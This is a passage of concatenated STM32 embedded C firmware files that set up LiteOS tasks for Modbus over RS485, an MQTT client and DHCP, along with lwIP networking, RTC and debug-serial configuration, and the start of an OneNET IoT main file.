ๅˆๅง‹ๅŒ–่ฐƒ่ฏ•ไธฒๅฃ๏ผŒไธ€่ˆฌไธบไธฒๅฃ1; ๅˆๅง‹ๅŒ– USART2-RS485 */ Debug_USART_Config(); RS485_USART2_Config(); DelayInit(SystemCoreClock); /** @2018-05-17 ็”ฑไบŽไธ้œ€่ฆ TIM3,ๆ‰€ไปฅ่ฟ™้‡ŒไธๅฏๅŠจ tim3 */ // LOS_HwiCreate(TIM3_IRQn, 0,0,TIM3_IRQHandler,NULL); // TIM3_Config(999,899); // printf("Sysclock is %d\r\n",SystemCoreClock); /** TY Configure ethernet, such as, ETH_GPIO, ETH_MACDMA... */ ETH_BSP_Config(); printf("LAN8720A BSP INIT AND COMFIGURE SUCCESS.\r\n"); } /** * @brief ้€š็”จๅฎšๆ—ถๅ™จ3ไธญๆ–ญๅˆๅง‹ๅŒ– * @param period : ่‡ชๅŠจ้‡่ฃ…ๅ€ผใ€‚ * @param prescaler : ๆ—ถ้’Ÿ้ข„ๅˆ†้ข‘ๆ•ฐ * @retval ๆ—  * @note ๅฎšๆ—ถๅ™จๆบขๅ‡บๆ—ถ้—ด่ฎก็ฎ—ๆ–นๆณ•:Tout=((period+1)*(prescaler+1))/Ft us. * Ft=ๅฎšๆ—ถๅ™จๅทฅไฝœ้ข‘็އ,ไธบSystemCoreClock/2=90,ๅ•ไฝ:Mhz */ static void TIM3_Config(uint16_t period,uint16_t prescaler) { TIM_TimeBaseInitTypeDef TIM_TimeBaseInitStructure; NVIC_InitTypeDef NVIC_InitStructure; RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3,ENABLE); ///ไฝฟ่ƒฝTIM3ๆ—ถ้’Ÿ TIM_TimeBaseInitStructure.TIM_Prescaler=prescaler; //ๅฎšๆ—ถๅ™จๅˆ†้ข‘ TIM_TimeBaseInitStructure.TIM_CounterMode=TIM_CounterMode_Up; //ๅ‘ไธŠ่ฎกๆ•ฐๆจกๅผ TIM_TimeBaseInitStructure.TIM_Period=period; //่‡ชๅŠจ้‡่ฃ…่ฝฝๅ€ผ TIM_TimeBaseInitStructure.TIM_ClockDivision=TIM_CKD_DIV1; TIM_TimeBaseInit(TIM3,&TIM_TimeBaseInitStructure); TIM_ITConfig(TIM3,TIM_IT_Update,ENABLE); //ๅ…่ฎธๅฎšๆ—ถๅ™จ3ๆ›ดๆ–ฐไธญๆ–ญ TIM_Cmd(TIM3,ENABLE); //ไฝฟ่ƒฝๅฎšๆ—ถๅ™จ3 NVIC_InitStructure.NVIC_IRQChannel=TIM3_IRQn; //ๅฎšๆ—ถๅ™จ3ไธญๆ–ญ NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority=0x01; //ๆŠขๅ ไผ˜ๅ…ˆ็บง1 NVIC_InitStructure.NVIC_IRQChannelSubPriority=0x03; //ๅญไผ˜ๅ…ˆ็บง3 NVIC_InitStructure.NVIC_IRQChannelCmd=ENABLE; NVIC_Init(&NVIC_InitStructure); } /** * @brief ๅฎšๆ—ถๅ™จ3ไธญๆ–ญๆœๅŠกๅ‡ฝๆ•ฐ * @param ๆ—  * @retval ๆ—  */ void TIM3_IRQHandler(void) { if(TIM_GetITStatus(TIM3,TIM_IT_Update)==SET) //ๆบขๅ‡บไธญๆ–ญ { LocalTime+=10; //10msๅขž้‡ } TIM_ClearITPendingBit(TIM3,TIM_IT_Update); //ๆธ…้™คไธญๆ–ญๆ ‡ๅฟ—ไฝ } /***/ VOID modbus_task() { memset(&stBufModbus, 0, sizeof(TBuffModbus)); /** modbus ๅ›บๅŒ–ๅฏนไพง่ฎพๅค‡ๅœฐๅ€ */ stBufModbus.address= MODBUS_ADDRESS_SLAVE; /** ๅˆ›ๅปบ modbus ๆ—ถ,ๅ…ˆ enable ไธฒๅฃๆŽฅๆ”ถ */ RS485_RX_ON_TX_OFF; while(1) { LED3_OFF; LED2_OFF; LED1_ON; /** RS485 - Modbus Cycle */ ModbusProc_InTask(&stBufModbus); LOS_TaskDelay(2000); // Printf Per 2s } } /** * ไฝœ็”จ: 1.) ้€š่ฟ‡ rs485 ๆŽฅๆ”ถไปŽๆœบไธŠ้€็š„ '็”ตๅŠจๆœบ' ็Šถๆ€ไฟกๆฏ * 1.1) ็”ตๆœบ่ฟ่กŒ็Šถๆ€: ๅœๆœบ, ่ฟ่กŒ 2 Byte */ UINT32 create_Modbus_Task() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 5; task_init_param.pcName = "Modbus_Task"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)modbus_task; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } UINT32 create_MQTT_client_task() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 4; task_init_param.pcName = "mqtt_client_task"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)mqtt_client; task_init_param.uwStackSize = 0x1400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } /** Crate DHCP Task, Call Lwip's netconf.c */ UINT32 create_DHCP_task() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 3; task_init_param.pcName = "DHCP_task"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)LwIP_DHCP_task; task_init_param.uwStackSize = 0x640; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } /* Entry - main() */ int main(void) { UINT32 uwRet = LOS_OK; LOS_KernelInit(); //ๅ†…ๆ ธๅˆๅง‹ๅŒ– hardware_init(); //็กฌไปถๅˆๅง‹ๅŒ– software_init(); uwRet = create_DHCP_task(); /** 1. first created DHCP task */ if(uwRet != LOS_OK) { return uwRet; } uwRet = create_Modbus_Task(); if(uwRet != LOS_OK) { return uwRet; } uwRet = create_MQTT_client_task(); if(uwRet != LOS_OK) { return uwRet; } LOS_Start(); //ๅฏๅŠจLiteOS } ``` lwip_comm.c ```#include "lwip_comm.h" #include "netif/etharp.h" #include "lwip/dhcp.h" #include "lwip/mem.h" #include "lwip/memp.h" #include "lwip/init.h" #include "ethernetif.h" #include "lwip/timers.h" #include "lwip/tcp_impl.h" #include "lwip/ip_frag.h" #include "lwip/tcpip.h" #include "malloc.h" #include "delay.h" #include "lb_type.h" #include "./Bsp/usart/bsp_debug_usart.h" #include <stdio.h> /* *ๅŠŸ่ƒฝ๏ผšSTM32F407VET6ไปฅๅคช็ฝ‘ๆ ธๅฟƒๆฟๆต‹่ฏ•ไปฃ็ ๏ผŒ่‡ชๅŠจ่Žทๅ–IP๏ผŒๅนถๅปบ็ซ‹ๆœๅŠกๅ™จ๏ผŒๅฏ้€š่ฟ‡ไธฒๅฃ1ๆ‰“ๅฐๅฝ“ๅ‰ๆ•ฐๆฎไฟกๆฏ *ๆœบๆž„๏ผšๅŠฉๅผ€ๅ‘็ฝ‘(www.zkaifa.com) *่ฎบๅ›๏ผšwww.zkaifa.com/bbs *ๆท˜ๅฎ๏ผšhttp://shop68304486.taobao.com/ *ไฝœ่€…๏ผšliubinkaixin *ๆ—ถ้—ด๏ผš2015-05-30 *ๅฃฐๆ˜Ž๏ผšๅฝ“ๅ‰็‰ˆๆœฌไป…ๆไพ›ๆ ธๅฟƒๆฟๆต‹่ฏ•๏ผŒไป…ๆไพ›็ ”็ฉถๅญฆไน ไฝฟ็”จ๏ผŒ่‹ฅไฝœไธบๅ•†ไธš็”จ้€”ๅ‡บ็Žฐไปปไฝ•้”™่ฏฏ๏ผŒๆไพ›ๆ–นไธๆ‰ฟๆ‹…ไปปไฝ•่ดฃไปป */ __lwip_dev lwipdev; //lwipๆŽงๅˆถ็ป“ๆž„ไฝ“ struct netif lwip_netif; //ๅฎšไน‰ไธ€ไธชๅ…จๅฑ€็š„็ฝ‘็ปœๆŽฅๅฃ extern u32 memp_get_memorysize(void); //ๅœจmemp.c้‡Œ้ขๅฎšไน‰ extern u8_t *memp_memory; //ๅœจmemp.c้‡Œ้ขๅฎšไน‰. extern u8_t *ram_heap; //ๅœจmem.c้‡Œ้ขๅฎšไน‰. const INT8U uEthIpBuf[]={192,168,1,101,255,255,255,0,192,168,1,1}; u32 TCPTimer1=0; //TCPๆŸฅ่ฏข่ฎกๆ—ถๅ™จ u32 ARPTimer1=0; //ARPๆŸฅ่ฏข่ฎกๆ—ถๅ™จ u32 lwip_localtime; //lwipๆœฌๅœฐๆ—ถ้—ด่ฎกๆ•ฐๅ™จ,ๅ•ไฝ:ms #if LWIP_DHCP u32 DHCPfineTimer=0; //DHCP็ฒพ็ป†ๅค„็†่ฎกๆ—ถๅ™จ u32 DHCPcoarseTimer=0; //DHCP็ฒ—็ณ™ๅค„็†่ฎกๆ—ถๅ™จ #endif //lwipไธญmemๅ’Œmemp็š„ๅ†…ๅญ˜็”ณ่ฏท //่ฟ”ๅ›žๅ€ผ:0,ๆˆๅŠŸ; // ๅ…ถไป–,ๅคฑ่ดฅ u8 lwip_comm_mem_malloc(void) { u32 mempsize; u32 ramheapsize; mempsize=memp_get_memorysize(); //ๅพ—ๅˆฐmemp_memoryๆ•ฐ็ป„ๅคงๅฐ memp_memory=mymalloc(SRAMIN,mempsize); //ไธบmemp_memory็”ณ่ฏทๅ†…ๅญ˜ ramheapsize=LWIP_MEM_ALIGN_SIZE(MEM_SIZE)+2*LWIP_MEM_ALIGN_SIZE(4*3)+MEM_ALIGNMENT;//ๅพ—ๅˆฐram heapๅคงๅฐ ram_heap=mymalloc(SRAMIN,ramheapsize); //ไธบram_heap็”ณ่ฏทๅ†…ๅญ˜ if(!memp_memory||!ram_heap)//ๆœ‰็”ณ่ฏทๅคฑ่ดฅ็š„ { lwip_comm_mem_free(); return 1; } return 0; } //lwipไธญmemๅ’Œmempๅ†…ๅญ˜้‡Šๆ”พ void lwip_comm_mem_free(void) { myfree(SRAMIN,memp_memory); myfree(SRAMIN,ram_heap); } //lwip ้ป˜่ฎคIP่ฎพ็ฝฎ //lwipx:lwipๆŽงๅˆถ็ป“ๆž„ไฝ“ๆŒ‡้’ˆ void lwip_comm_default_ip_set(__lwip_dev *lwipx) { u32 sn0; sn0=*(vu32*)(0x1FFF7A10);//่Žทๅ–STM32็š„ๅ”ฏไธ€ID็š„ๅ‰24ไฝไฝœไธบMACๅœฐๅ€ๅŽไธ‰ๅญ—่Š‚ //้ป˜่ฎค่ฟœ็ซฏIPไธบ:121.40.173.197 lwipx->remoteip[0]=121; lwipx->remoteip[1]=40; lwipx->remoteip[2]=173; lwipx->remoteip[3]=197; //MACๅœฐๅ€่ฎพ็ฝฎ(้ซ˜ไธ‰ๅญ—่Š‚ๅ›บๅฎšไธบ:2.0.0,ไฝŽไธ‰ๅญ—่Š‚็”จSTM32ๅ”ฏไธ€ID) lwipx->mac[0]=2;//้ซ˜ไธ‰ๅญ—่Š‚(IEEE็งฐไน‹ไธบ็ป„็ป‡ๅ”ฏไธ€ID,OUI)ๅœฐๅ€ๅ›บๅฎšไธบ:2.0.0 lwipx->mac[1]=0; lwipx->mac[2]=0; lwipx->mac[3]=(sn0>>16)&0XFF;//ไฝŽไธ‰ๅญ—่Š‚็”จSTM32็š„ๅ”ฏไธ€ID lwipx->mac[4]=(sn0>>8)&0XFFF;; lwipx->mac[5]=sn0&0XFF; //้ป˜่ฎคๆœฌๅœฐIPไธบ:192.168.1.30 lwipx->ip[0]=uEthIpBuf[0]; lwipx->ip[1]=uEthIpBuf[1]; lwipx->ip[2]=uEthIpBuf[2]; lwipx->ip[3]=uEthIpBuf[3]; //้ป˜่ฎคๅญ็ฝ‘ๆŽฉ็ :255.255.255.0 lwipx->netmask[0]=uEthIpBuf[4]; lwipx->netmask[1]=uEthIpBuf[5]; lwipx->netmask[2]=uEthIpBuf[6]; lwipx->netmask[3]=uEthIpBuf[7]; //้ป˜่ฎค็ฝ‘ๅ…ณ:192.168.1.1 lwipx->gateway[0]=uEthIpBuf[8]; lwipx->gateway[1]=uEthIpBuf[9]; lwipx->gateway[2]=uEthIpBuf[10]; lwipx->gateway[3]=uEthIpBuf[11]; lwipx->dhcpstatus=0;//ๆฒกๆœ‰DHCP } //LWIPๅˆๅง‹ๅŒ–(LWIPๅฏๅŠจ็š„ๆ—ถๅ€™ไฝฟ็”จ) //่ฟ”ๅ›žๅ€ผ:0,ๆˆๅŠŸ // 1,ๅ†…ๅญ˜้”™่ฏฏ // 2,LAN8720ๅˆๅง‹ๅŒ–ๅคฑ่ดฅ // 3,็ฝ‘ๅกๆทปๅŠ ๅคฑ่ดฅ. u8 lwip_comm_init(void) { struct netif *Netif_Init_Flag; //่ฐƒ็”จnetif_add()ๅ‡ฝๆ•ฐๆ—ถ็š„่ฟ”ๅ›žๅ€ผ,็”จไบŽๅˆคๆ–ญ็ฝ‘็ปœๅˆๅง‹ๅŒ–ๆ˜ฏๅฆๆˆๅŠŸ struct ip_addr ipaddr; //ipๅœฐๅ€ struct ip_addr netmask; //ๅญ็ฝ‘ๆŽฉ็  struct ip_addr gw; //้ป˜่ฎค็ฝ‘ๅ…ณ u8 DhcpFlagEn = 1; if(ETH_Mem_Malloc())return 1; //ๅ†…ๅญ˜็”ณ่ฏทๅคฑ่ดฅ if(lwip_comm_mem_malloc())return 1; //ๅ†…ๅญ˜็”ณ่ฏทๅคฑ่ดฅ if(LAN8720_Init())return 2; //ๅˆๅง‹ๅŒ–LAN8720ๅคฑ่ดฅ lwip_init(); //ๅˆๅง‹ๅŒ–LWIPๅ†…ๆ ธ lwip_comm_default_ip_set(&lwipdev); //่ฎพ็ฝฎ้ป˜่ฎคIP็ญ‰ไฟกๆฏ if(DhcpFlagEn) //ไฝฟ็”จๅŠจๆ€IP { ipaddr.addr = 0; netmask.addr = 0; gw.addr = 0; } else //ไฝฟ็”จ้™ๆ€IP { IP4_ADDR(&ipaddr,lwipdev.ip[0],lwipdev.ip[1],lwipdev.ip[2],lwipdev.ip[3]); IP4_ADDR(&netmask,lwipdev.netmask[0],lwipdev.netmask[1] ,lwipdev.netmask[2],lwipdev.netmask[3]); IP4_ADDR(&gw,lwipdev.gateway[0],lwipdev.gateway[1],lwipdev.gateway[2],lwipdev.gateway[3]); printf("็ฝ‘ๅกen็š„MACๅœฐๅ€ไธบ:................%d.%d.%d.%d.%d.%d\r\n",lwipdev.mac[0],lwipdev.mac[1],lwipdev.mac[2],lwipdev.mac[3],lwipdev.mac[4],lwipdev.mac[5]); printf("้™ๆ€IPๅœฐๅ€........................%d.%d.%d.%d\r\n",lwipdev.ip[0],lwipdev.ip[1],lwipdev.ip[2],lwipdev.ip[3]); printf("ๅญ็ฝ‘ๆŽฉ็ ..........................%d.%d.%d.%d\r\n",lwipdev.netmask[0],lwipdev.netmask[1],lwipdev.netmask[2],lwipdev.netmask[3]); printf("้ป˜่ฎค็ฝ‘ๅ…ณ..........................%d.%d.%d.%d\r\n",lwipdev.gateway[0],lwipdev.gateway[1],lwipdev.gateway[2],lwipdev.gateway[3]); } Netif_Init_Flag=netif_add(&lwip_netif,&ipaddr,&netmask,&gw,NULL,&ethernetif_init,&ethernet_input);//ๅ‘็ฝ‘ๅกๅˆ—่กจไธญๆทปๅŠ ไธ€ไธช็ฝ‘ๅฃ if(DhcpFlagEn) //ไฝฟ็”จๅŠจๆ€IP //ๅฆ‚ๆžœไฝฟ็”จDHCP็š„่ฏ { lwipdev.dhcpstatus=0; //DHCPๆ ‡่ฎฐไธบ0 dhcp_start(&lwip_netif); //ๅผ€ๅฏDHCPๆœๅŠก } if(Netif_Init_Flag==NULL)return 3;//็ฝ‘ๅกๆทปๅŠ ๅคฑ่ดฅ else//็ฝ‘ๅฃๆทปๅŠ ๆˆๅŠŸๅŽ,่ฎพ็ฝฎnetifไธบ้ป˜่ฎคๅ€ผ,ๅนถไธ”ๆ‰“ๅผ€netif็ฝ‘ๅฃ { netif_set_default(&lwip_netif); //่ฎพ็ฝฎnetifไธบ้ป˜่ฎค็ฝ‘ๅฃ netif_set_up(&lwip_netif); //ๆ‰“ๅผ€netif็ฝ‘ๅฃ } return 0;//ๆ“ไฝœOK. } //ๅฝ“ๆŽฅๆ”ถๅˆฐๆ•ฐๆฎๅŽ่ฐƒ็”จ void lwip_pkt_handle(void) { //ไปŽ็ฝ‘็ปœ็ผ“ๅ†ฒๅŒบไธญ่ฏปๅ–ๆŽฅๆ”ถๅˆฐ็š„ๆ•ฐๆฎๅŒ…ๅนถๅฐ†ๅ…ถๅ‘้€็ป™LWIPๅค„็† ethernetif_input(&lwip_netif); } //LWIP่ฝฎ่ฏขไปปๅŠก void lwip_periodic_handle() { #if LWIP_TCP //ๆฏ250ms่ฐƒ็”จไธ€ๆฌกtcp_tmr()ๅ‡ฝๆ•ฐ if (lwip_localtime - TCPTimer1 >= TCP_TMR_INTERVAL) { TCPTimer1 = lwip_localtime; tcp_tmr(); } #endif //ARPๆฏ5sๅ‘จๆœŸๆ€ง่ฐƒ็”จไธ€ๆฌก if ((lwip_localtime - ARPTimer1) >= ARP_TMR_INTERVAL) { ARPTimer1 = lwip_localtime; etharp_tmr(); } #if LWIP_DHCP //ๅฆ‚ๆžœไฝฟ็”จDHCP็š„่ฏ //ๆฏ500ms่ฐƒ็”จไธ€ๆฌกdhcp_fine_tmr() if (lwip_localtime - DHCPfineTimer >= DHCP_FINE_TIMER_MSECS) { DHCPfineTimer = lwip_localtime; dhcp_fine_tmr(); if ((lwipdev.dhcpstatus != 2)&&(lwipdev.dhcpstatus != 0XFF)) { lwip_dhcp_process_handle(); //DHCPๅค„็† } } //ๆฏ60sๆ‰ง่กŒไธ€ๆฌกDHCP็ฒ—็ณ™ๅค„็† if (lwip_localtime - DHCPcoarseTimer >= DHCP_COARSE_TIMER_MSECS) { DHCPcoarseTimer = lwip_localtime; dhcp_coarse_tmr(); } #endif } //ๅฆ‚ๆžœไฝฟ่ƒฝไบ†DHCP #if LWIP_DHCP //DHCPๅค„็†ไปปๅŠก void lwip_dhcp_process_handle(void) { u32 ip=0,netmask=0,gw=0; switch(lwipdev.dhcpstatus) { case 0: //ๅผ€ๅฏDHCP dhcp_start(&lwip_netif); lwipdev.dhcpstatus = 1; //็ญ‰ๅพ…้€š่ฟ‡DHCP่Žทๅ–ๅˆฐ็š„ๅœฐๅ€ printf("ๆญฃๅœจๆŸฅๆ‰พDHCPๆœๅŠกๅ™จ,่ฏท็จ็ญ‰...........\r\n"); break; case 1: //็ญ‰ๅพ…่Žทๅ–ๅˆฐIPๅœฐๅ€ { ip=lwip_netif.ip_addr.addr; //่ฏปๅ–ๆ–ฐIPๅœฐๅ€ netmask=lwip_netif.netmask.addr;//่ฏปๅ–ๅญ็ฝ‘ๆŽฉ็  gw=lwip_netif.gw.addr; //่ฏปๅ–้ป˜่ฎค็ฝ‘ๅ…ณ if(ip!=0) //ๆญฃ็กฎ่Žทๅ–ๅˆฐIPๅœฐๅ€็š„ๆ—ถๅ€™ { lwipdev.dhcpstatus=2; //DHCPๆˆๅŠŸ printf("็ฝ‘ๅกen็š„MACๅœฐๅ€ไธบ:................%d.%d.%d.%d.%d.%d\r\n",lwipdev.mac[0],lwipdev.mac[1],lwipdev.mac[2],lwipdev.mac[3],lwipdev.mac[4],lwipdev.mac[5]); //่งฃๆžๅ‡บ้€š่ฟ‡DHCP่Žทๅ–ๅˆฐ็š„IPๅœฐๅ€ lwipdev.ip[3]=(uint8_t)(ip>>24); lwipdev.ip[2]=(uint8_t)(ip>>16); lwipdev.ip[1]=(uint8_t)(ip>>8); lwipdev.ip[0]=(uint8_t)(ip); printf("้€š่ฟ‡DHCP่Žทๅ–ๅˆฐIPๅœฐๅ€..............%d.%d.%d.%d\r\n",lwipdev.ip[0],lwipdev.ip[1],lwipdev.ip[2],lwipdev.ip[3]); //่งฃๆž้€š่ฟ‡DHCP่Žทๅ–ๅˆฐ็š„ๅญ็ฝ‘ๆŽฉ็ ๅœฐๅ€ lwipdev.netmask[3]=(uint8_t)(netmask>>24); lwipdev.netmask[2]=(uint8_t)(netmask>>16); lwipdev.netmask[1]=(uint8_t)(netmask>>8); lwipdev.netmask[0]=(uint8_t)(netmask); printf("้€š่ฟ‡DHCP่Žทๅ–ๅˆฐๅญ็ฝ‘ๆŽฉ็ ............%d.%d.%d.%d\r\n",lwipdev.netmask[0],lwipdev.netmask[1],lwipdev.netmask[2],lwipdev.netmask[3]); //่งฃๆžๅ‡บ้€š่ฟ‡DHCP่Žทๅ–ๅˆฐ็š„้ป˜่ฎค็ฝ‘ๅ…ณ lwipdev.gateway[3]=(uint8_t)(gw>>24); lwipdev.gateway[2]=(uint8_t)(gw>>16); lwipdev.gateway[1]=(uint8_t)(gw>>8); lwipdev.gateway[0]=(uint8_t)(gw); printf("้€š่ฟ‡DHCP่Žทๅ–ๅˆฐ็š„้ป˜่ฎค็ฝ‘ๅ…ณ..........%d.%d.%d.%d\r\n",lwipdev.gateway[0],lwipdev.gateway[1],lwipdev.gateway[2],lwipdev.gateway[3]); }else if(lwip_netif.dhcp->tries>LWIP_MAX_DHCP_TRIES) //้€š่ฟ‡DHCPๆœๅŠก่Žทๅ–IPๅœฐๅ€ๅคฑ่ดฅ,ไธ”่ถ…่ฟ‡ๆœ€ๅคงๅฐ่ฏ•ๆฌกๆ•ฐ { lwipdev.dhcpstatus=0XFF;//DHCP่ถ…ๆ—ถๅคฑ่ดฅ. //ไฝฟ็”จ้™ๆ€IPๅœฐๅ€ IP4_ADDR(&(lwip_netif.ip_addr),lwipdev.ip[0],lwipdev.ip[1],lwipdev.ip[2],lwipdev.ip[3]); IP4_ADDR(&(lwip_netif.netmask),lwipdev.netmask[0],lwipdev.netmask[1],lwipdev.netmask[2],lwipdev.netmask[3]); IP4_ADDR(&(lwip_netif.gw),lwipdev.gateway[0],lwipdev.gateway[1],lwipdev.gateway[2],lwipdev.gateway[3]); printf("DHCPๆœๅŠก่ถ…ๆ—ถ,ไฝฟ็”จ้™ๆ€IPๅœฐๅ€!\r\n"); printf("็ฝ‘ๅกen็š„MACๅœฐๅ€ไธบ:................%d.%d.%d.%d.%d.%d\r\n",lwipdev.mac[0],lwipdev.mac[1],lwipdev.mac[2],lwipdev.mac[3],lwipdev.mac[4],lwipdev.mac[5]); printf("้™ๆ€IPๅœฐๅ€........................%d.%d.%d.%d\r\n",lwipdev.ip[0],lwipdev.ip[1],lwipdev.ip[2],lwipdev.ip[3]); printf("ๅญ็ฝ‘ๆŽฉ็ ..........................%d.%d.%d.%d\r\n",lwipdev.netmask[0],lwipdev.netmask[1],lwipdev.netmask[2],lwipdev.netmask[3]); printf("้ป˜่ฎค็ฝ‘ๅ…ณ..........................%d.%d.%d.%d\r\n",lwipdev.gateway[0],lwipdev.gateway[1],lwipdev.gateway[2],lwipdev.gateway[3]); } } break; default : break; } } #endif ``` rl_net.h ```#ifndef RL_NET_H #define RL_NET_H #endif /* RL_NET_H */ ``` bsp_rtc.c ```#include "bsp_rtc.h" RTC_HandleTypeDef RtcHandle; static void RTC_CalendarConfig(void); void RTC_Init(void) { /*##-1- Configure the RTC peripheral #######################################*/ /* Configure RTC prescaler and RTC data registers */ /* RTC configured as follows: - Hour Format = Format 24 - Asynch Prediv = Value according to source clock - Synch Prediv = Value according to source clock - OutPut = Output Disable - OutPutPolarity = High Polarity - OutPutType = Open Drain */ RtcHandle.Instance = RTC; RtcHandle.Init.HourFormat = RTC_HOURFORMAT_24; RtcHandle.Init.AsynchPrediv = RTC_ASYNCH_PREDIV; RtcHandle.Init.SynchPrediv = RTC_SYNCH_PREDIV; RtcHandle.Init.OutPut = RTC_OUTPUT_DISABLE; RtcHandle.Init.OutPutPolarity = RTC_OUTPUT_POLARITY_HIGH; RtcHandle.Init.OutPutType = RTC_OUTPUT_TYPE_OPENDRAIN; __HAL_RTC_RESET_HANDLE_STATE(&RtcHandle); if (HAL_RTC_Init(&RtcHandle) != HAL_OK) { /* Initialization Error */ Error_Handler(); } /*##-2- Check if Data stored in BackUp register1: No Need to reconfigure RTC#*/ /* Read the Back Up Register 1 Data */ if (HAL_RTCEx_BKUPRead(&RtcHandle, RTC_BKP_DR1) != 0x32F2) { /* Configure RTC Calendar */ RTC_CalendarConfig(); } else { /* Check if the Power On Reset flag is set */ if (__HAL_RCC_GET_FLAG(RCC_FLAG_PORRST) != RESET) { /* Turn on LED2: Power on reset occurred */ } /* Check if Pin Reset flag is set */ if (__HAL_RCC_GET_FLAG(RCC_FLAG_PINRST) != RESET) { /* Turn on LED1: External reset occurred */ } /* Clear source Reset Flag */ __HAL_RCC_CLEAR_RESET_FLAGS(); } } static void RTC_CalendarConfig(void) { RTC_DateTypeDef sdatestructure; RTC_TimeTypeDef stimestructure; /*##-1- Configure the Date #################################################*/ /* Set Date: Tuesday February 18th 2014 */ sdatestructure.Year = 0x14; sdatestructure.Month = RTC_MONTH_FEBRUARY; sdatestructure.Date = 0x18; sdatestructure.WeekDay = RTC_WEEKDAY_TUESDAY; if(HAL_RTC_SetDate(&RtcHandle,&sdatestructure,RTC_FORMAT_BCD) != HAL_OK) { /* Initialization Error */ Error_Handler(); } /*##-2- Configure the Time #################################################*/ /* Set Time: 02:00:00 */ stimestructure.Hours = 0x02; stimestructure.Minutes = 0x00; stimestructure.Seconds = 0x00; stimestructure.TimeFormat = RTC_HOURFORMAT12_AM; stimestructure.DayLightSaving = RTC_DAYLIGHTSAVING_NONE ; stimestructure.StoreOperation = RTC_STOREOPERATION_RESET; if (HAL_RTC_SetTime(&RtcHandle, &stimestructure, RTC_FORMAT_BCD) != HAL_OK) { /* Initialization Error */ Error_Handler(); } /*##-3- Writes a data in a RTC Backup data Register1 #######################*/ HAL_RTCEx_BKUPWrite(&RtcHandle, RTC_BKP_DR1, 0x32F2); } HAL_StatusTypeDef RTC_GetTime(RTC_TimeTypeDef *sTime, uint32_t Format) { return HAL_RTC_GetTime(&RtcHandle, sTime, Format); } HAL_StatusTypeDef RTC_GetDate(RTC_DateTypeDef *sDate, uint32_t Format) { return HAL_RTC_GetDate(&RtcHandle, sDate, Format); } ``` bsp_debug_usart.h ```#ifndef __DEBUG_USART_H #define __DEBUG_USART_H #include "stm32f4xx.h" #include <stdio.h> //#define USART1_DR_Base 0x40013804 // 0x40013800 + 0x04 = 0x40013804 //#define SENDBUFF_SIZE 5000 #define DEBUG_USART USART1 #define DEBUG_USART_CLK RCC_APB2Periph_USART1 #define DEBUG_USART_BAUDRATE 115200 #define DEBUG_USART_RX_GPIO_PORT GPIOA #define DEBUG_USART_RX_GPIO_CLK RCC_AHB1Periph_GPIOA #define DEBUG_USART_RX_PIN GPIO_Pin_10 #define DEBUG_USART_RX_AF GPIO_AF_USART1 #define DEBUG_USART_RX_SOURCE GPIO_PinSource10 #define DEBUG_USART_TX_GPIO_PORT GPIOA #define DEBUG_USART_TX_GPIO_CLK RCC_AHB1Periph_GPIOA #define DEBUG_USART_TX_PIN GPIO_Pin_9 #define DEBUG_USART_TX_AF GPIO_AF_USART1 #define DEBUG_USART_TX_SOURCE GPIO_PinSource9 //ๆ‰“ๅฐ็ณป็ปŸไฟกๆฏ #define PRINTF_SYS_OPEN 1 #if PRINTF_SYS_OPEN #include <stdio.h> #define PRINTF_SYS(...) printf(__VA_ARGS__) #else #define PRINTF_SYS(...) #endif //ๆ‰“ๅฐ้”™่ฏฏไฟกๆฏ #define PRINTF_ERR_OPEN 1 #if PRINTF_ERR_OPEN #include <stdio.h> #define PRINTF_ERR(...) printf(__VA_ARGS__) #else #define PRINTF_ERR(...) #endif //ๆ‰“ๅฐ่ฐƒ่ฏ•ไฟกๆฏ #define PRINTF_DBG_OPEN 1 #if PRINTF_DBG_OPEN #include <stdio.h> #define PRINTF_DBG(...) printf(__VA_ARGS__) #else #define PRINTF_DBG(...) #endif void PrintHexDataBuffers(unsigned char *data,int len); void Debug_USART_Config(void); //int fputc(int ch, FILE *f); #endif /* __USART1_H */ ``` OneNETmain.c ```/** ****************************************************************************** * @file Project/STM32F10x_StdPeriph_Template/main.c * @author MCD Application Team * @version V3.5.0 * @date 08-April-2011 * @brief Main program body ****************************************************************************** * @attention * * THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS * WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE * TIME. AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY * DIRECT, INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING * FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE * CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS. * * <h2><center>&copy; COPYRIGHT 2011 STMicroelectronics</center></h2> ****************************************************************************** */ /* Includes ------------------------------------------------------------------*/ //USE_STDPERIPH_DRIVER, STM32F10X_HD, USE_STM3210B_EVAL #include "stm32f4xx.h" #include "stdio.h" #include "Bsp/led/bsp_led.h" #include "Bsp/usart/bsp_debug_usart.h" #include "Bsp/systick/bsp_SysTick.h" #include "Bsp/key/bsp_key.h" #include "utils.h" //#include "Edpkit.h" //#include "led.h" //#include "esp8266.h" //#include "sht20.h" //#include "hal_i2c.h" #define KEY2_UP GPIO_ReadInputDataBit(GPIOC,GPIO_Pin_11) #define KEY3_UP GPIO_ReadInputDataBit(GPIOC,GPIO_Pin_12) #define PROD_ID "70901" //????????ID #define SN "201608160002" //????????????? #define REG_CODE "6TM7OkhNsTjATvFx" //??????????? #define API_ADDR "api.heclouds.com" #define DEVICE_NAME 